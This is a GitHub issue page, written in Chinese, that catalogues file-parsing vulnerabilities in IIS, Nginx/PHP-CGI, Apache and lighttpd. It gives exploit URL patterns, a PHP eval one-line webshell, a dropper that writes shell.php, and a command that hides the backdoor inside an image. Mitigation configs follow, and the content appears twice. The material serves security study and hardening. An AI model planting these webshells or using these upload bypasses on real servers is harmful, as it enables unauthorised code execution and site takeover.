We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
/xxx.asp/xxx.jpg
网站下建立文件夹的名称中带有asp、asa、cer、cdx等可执行脚本文件后缀的文件夹,IIS6.0会将xxx.jpg当做xxx.asp解析并执行
asp
asa
cer
cdx
xxx.jpg
xxx.asp
该目录内的任何扩展名的文件都将被IIS6.0当作可执行文件来解析并执行
/xx.asp;.jpg
在IIS6.0下,;后面的文件扩展名不被解析,则xxx.asp;.jpg将被当做xxx.asp解析并执行
;
xxx.asp;.jpg
/xxx.asa
/xxx.cer
/xxx.cdx
IIS6.0默认的可执行文件包括:asp、asa、cer、cdx,可结合目录解析/后缀解析:/xxx.asp/xxx.jpg、/xxx.asa/xxx.jpg、/xxx.cer/xxx.jpg、/xxx.cdx/xxx.jpg、/xxx.asp;.jpg、/xxx.asa;.jpg、/xxx.cer;.jpg、/xxx.cdx;.jpg
/xxx.asa/xxx.jpg
/xxx.cer/xxx.jpg
/xxx.cdx/xxx.jpg
/xxx.asp;.jpg
/xxx.asa;.jpg
/xxx.cer;.jpg
/xxx.cdx;.jpg
asp、asa、cer、cdx同使用一个asp.dll执行
asp.dll
实际为PHP CGI的漏洞:Nginx作为代理将请求转发给Fast-CGI,PHP后端进行处理。当访问URL:example.com/shell.jpg/xxx.php,$fastcgi_script_name会被设置为“shell.jpg/xxx.php”,然后构造成SCRIPT_FILENAME传递给Fast-CGI。当fix_pathinfo选项开启时,PHP会认为SCRIPT_FILENAME是shell.jpg,而xxx.php是PATH_INFO,故将shell.jpg作为PHP文件进行解析
PHP CGI
example.com/shell.jpg/xxx.php
$fastcgi_script_name
SCRIPT_FILENAME
fix_pathinfo
shell.jpg
xxx.php
PATH_INFO
PHP配置文件中存在cgi.fix_pathinfo=1默认是开启,当URL中有不存在的文件时,PHP就会向前递归解析
cgi.fix_pathinfo=1
方法一
www.example.com/UploadFiles/image/shell.jpg/xxx.php www.example.com/UploadFiles/image/shell.jpg%00.php www.example.com/UploadFiles/image/shell.jpg/%20\0.php
方法二
IIS 7.0/IIS 7.5/Nginx<8.03在默认Fast-CGI开启的情况下,上传xy.jpg,访问xy.jpg/.php,会在当前目录下生成一句话木马<?php eval($_POST[cmd])?>
IIS 7.0/IIS 7.5/Nginx<8.03
Fast-CGI
xy.jpg
xy.jpg/.php
<?php eval($_POST[cmd])?>
将图片和写入后门代码的文本文件合并为将恶意文本写入图片的二进制代码
copy xx.jpg/b + yy.txt/a xy.jpg
后门代码的文本文件内容为:<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
写入一句话木马<?php eval($_POST[cmd])?>,文件名为shell.php,密码为cmd
Ngnix版本 0.5.*,0.6.*,0.7<=0.7.65,0.8<=0.8.37 在处理%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码,通过在一个文件路径/xx.jpg后面加上%00.php会将/xx.jpg%00.php解析为php文件
0.5.*,0.6.*,0.7<=0.7.65,0.8<=0.8.37
%00
/xx.jpg
%00.php
/xx.jpg%00.php
修复方案: 1.禁止在上传文件目录下执行php,在nginx虚拟机配置或fcgi.conf配置加如下代码
fcgi.conf
if ($request_filename ~* (.*)\.php) { set $php_url $1; } if (!-e $php_url.php) { return 403; }
2.升级到最新版本的nginx
https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2013-4547
利用过程:
上传1.gif文件
1.gif
抓包修改数据包,在文件名后添加空格,文件1.gif 成功上传
访问http://127.0.0.1:8080//uploadfiles/1.gif...php
http://127.0.0.1:8080//uploadfiles/1.gif...php
修改第一个.改为20,对应ASCII码空格符,修改第二个.改为00,截止符,解析成功
.
20
00
test.php.x1.x2.x3 Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析 test.php.x1.x2.x3 则会被解析为php
AddHandler php5-script .php
.php
test2.php.jpg
php
AddType application/x-httpd-php .jpg
jpg
修复方案 1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
.php.
<Files ~ “.(php.|php3.)”> Order Allow,Deny Deny from all </Files>
2.伪静态,重写.php.*:打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so,去掉注释,重启apache,在网站根目录下建立.htaccess文件,代码如下:
.php.*
LoadModule rewrite_module modules/mod_rewrite.so
htaccess
<IfModule mod_rewrite.c> RewriteEngine On RewriteRule .(php.|php3.) /index.php RewriteRule .(pHp.|pHp3.) /index.php RewriteRule .(phP.|phP3.) /index.php RewriteRule .(Php.|Php3.) /index.php RewriteRule .(PHp.|PHp3.) /index.php RewriteRule .(PhP.|PhP3.) /index.php RewriteRule .(pHP.|pHP3.) /index.php RewriteRule .(PHP.|PHP3.) /index.php </IfModule>
在.htaccess中写入:<FilesMatch "shell.jpg">SetHandler application/x-httpd-php</FilesMatch>,可使shell.jpg文件解析为php文件
.htaccess
<FilesMatch "shell.jpg">SetHandler application/x-httpd-php</FilesMatch>
.htaccess文件生效条件: 1.Apache配置文件中写入AllowOverride All 2.Apache配置文件中写入LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
AllowOverride All
LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
Apache配置文件中存在类似正则表达式:.+.ph(p[345]?|t|tml)
.+.ph(p[345]?|t|tml)
xx.jpg/xx.php
https://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/ https://www.smi1e.top/%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#i-10 http://gv7.me/articles/2018/make-upload-vul-fuzz-dic/
The text was updated successfully, but these errors were encountered:
No branches or pull requests
IIS5.X/6.0
目录解析:
/xxx.asp/xxx.jpg
网站下建立文件夹的名称中带有
asp
、asa
、cer
、cdx
等可执行脚本文件后缀的文件夹,IIS6.0会将xxx.jpg
当做xxx.asp
解析并执行后缀解析:
/xx.asp;.jpg
在IIS6.0下,
;
后面的文件扩展名不被解析,则xxx.asp;.jpg
将被当做xxx.asp
解析并执行默认解析:
/xxx.asa
、/xxx.cer
、/xxx.cdx
IIS6.0默认的可执行文件包括:
asp
、asa
、cer
、cdx
,可结合目录解析/后缀解析:/xxx.asp/xxx.jpg
、/xxx.asa/xxx.jpg
、/xxx.cer/xxx.jpg
、/xxx.cdx/xxx.jpg
、/xxx.asp;.jpg
、/xxx.asa;.jpg
、/xxx.cer;.jpg
、/xxx.cdx;.jpg
Nginx
IIS 7.0/IIS 7.5/Nginx <8.03 PHP CGI解析漏洞
PHP配置文件中存在
cgi.fix_pathinfo=1
默认是开启,当URL中有不存在的文件时,PHP就会向前递归解析利用方法
方法一
方法二
IIS 7.0/IIS 7.5/Nginx<8.03
在默认Fast-CGI
开启的情况下,上传xy.jpg
,访问xy.jpg/.php
,会在当前目录下生成一句话木马<?php eval($_POST[cmd])?>
将图片和写入后门代码的文本文件合并为将恶意文本写入图片的二进制代码
copy xx.jpg/b + yy.txt/a xy.jpg
后门代码的文本文件内容为:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
Nginx <8.03空字节代码执行漏洞
Ngnix版本
0.5.*,0.6.*,0.7<=0.7.65,0.8<=0.8.37
在处理%00
空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码,通过在一个文件路径/xx.jpg
后面加上%00.php
会将/xx.jpg%00.php
解析为php文件修复方案:
1.禁止在上传文件目录下执行php,在nginx虚拟机配置或
fcgi.conf
配置加如下代码2.升级到最新版本的nginx
Nginx 文件名逻辑漏洞(CVE-2013-4547)
利用过程:
上传
1.gif
文件抓包修改数据包,在文件名后添加空格,文件
1.gif
成功上传访问
http://127.0.0.1:8080//uploadfiles/1.gif...php
修改第一个
.
改为20
,对应ASCII码空格符,修改第二个.
改为00
,截止符,解析成功Apache
多后缀解析:
test.php.x1.x2.x3 Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析 test.php.x1.x2.x3 则会被解析为php
配置问题:
AddHandler php5-script .php
,则文件名只要包含.php
,即使文件名为test2.php.jpg
也会以php
来执行AddType application/x-httpd-php .jpg
,即使扩展名是jpg
,也会以php
来执行修复方案
1.apache配置文件,禁止
.php.
这样的文件执行,配置文件里面加入2.伪静态,重写
.php.*
:打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
,去掉注释,重启apache,在网站根目录下建立.htaccess
文件,代码如下:.htaccess(分布式配置文件)
在
.htaccess
中写入:<FilesMatch "shell.jpg">SetHandler application/x-httpd-php</FilesMatch>
,可使shell.jpg文件解析为php文件异常后缀解析
lighttpd
xx.jpg/xx.php
参考链接
https://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/
https://www.smi1e.top/%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#i-10
http://gv7.me/articles/2018/make-upload-vul-fuzz-dic/
The text was updated successfully, but these errors were encountered: